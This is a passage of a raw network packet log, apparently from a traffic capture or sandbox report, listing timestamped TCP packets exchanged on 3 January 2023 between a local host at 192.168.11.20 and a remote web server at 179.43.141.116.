                                                                              Jan 3, 2023 08:16:06.475815058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475842953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475866079 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.475869894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475898027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475924969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475953102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475963116 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.475980997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476007938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476035118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476033926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476033926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476063967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476092100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476119995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476135969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476183891 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476243019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476243019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476367950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476387978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476397991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476448059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476492882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476514101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476528883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476564884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476598978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476629972 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476633072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476666927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476701975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476720095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476736069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476769924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476792097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476804972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476839066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476840973 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476874113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.476891041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.476944923 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.481714010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.481965065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482237101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482299089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482347965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482394934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482440948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482462883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482489109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482531071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482537985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482584953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482630014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482631922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482680082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482726097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482755899 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482772112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482817888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482824087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482863903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482909918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.482908964 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.482955933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483001947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483026981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483048916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483095884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483138084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483140945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483187914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483189106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483237028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483273029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483284950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483330965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483374119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483376980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483423948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483470917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483508110 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483517885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483563900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483609915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483625889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483655930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483675003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483702898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483748913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483774900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483794928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483841896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483887911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483918905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483935118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.483947039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.483982086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484019995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484029055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484076023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484118938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484122992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484169960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484215975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484255075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484261036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484324932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484333992 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484384060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484431028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484455109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484477043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484524012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484524965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484570980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.484673023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.484735012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.485110998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485199928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485289097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485337973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485384941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485384941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.485430956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485476971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485521078 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.485523939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485572100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.485605001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.485661983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.486630917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486695051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486743927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486784935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.486792088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486840010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486887932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486892939 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.486934900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.486974001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.486984015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487031937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487071991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487078905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487127066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487174034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487215042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487220049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487265110 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487267971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487317085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487351894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487364054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487411022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487452030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487457037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487504005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487550020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487565994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487596035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487637997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487643003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487689018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487730980 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487735033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487782955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487827063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487828970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487875938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487921953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.487962961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.487967968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488010883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488013983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488061905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488109112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488109112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488156080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488197088 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488203049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488250017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488295078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488348961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488370895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488394976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488419056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488466978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488513947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488517046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488560915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488606930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488609076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488656998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488703012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488708973 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488749981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488795996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488809109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488877058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488879919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.488944054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.488992929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489036083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489042997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489090919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489125967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489137888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489185095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489226103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489232063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489279032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489322901 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489324093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489371061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489413023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489417076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489464045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489510059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489530087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489556074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489602089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489609003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489648104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489695072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489737034 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489741087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489784956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489789009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489836931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489881039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489881992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489928961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.489970922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.489975929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490022898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490068913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490087032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490114927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490159988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490160942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490209103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490250111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490255117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490300894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490339041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490346909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490394115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490439892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490482092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490485907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490531921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490531921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490578890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490618944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490627050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490673065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490717888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490720034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490767002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490813017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490853071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490859032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490900993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490906000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490952969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.490994930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.490998983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491045952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491085052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491091967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491138935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491184950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491230965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491230965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491277933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491280079 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491324902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491365910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491372108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491420031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491456032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491481066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491528034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491574049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491590977 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491621017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491662979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491667032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491714001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491753101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491760015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491807938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491852045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491853952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491899967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491945982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.491960049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.491991997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492038012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492077112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492084026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492129087 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492130995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492177010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492196083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492223978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492269993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492294073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492331982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492379904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492425919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492465019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492471933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492520094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492522001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492567062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492614031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492660046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492664099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492707014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492717028 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492753029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492799997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492815018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492815971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492846012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492892027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492912054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492938042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.492975950 CET4986980192.168.11.20179.43.141.116
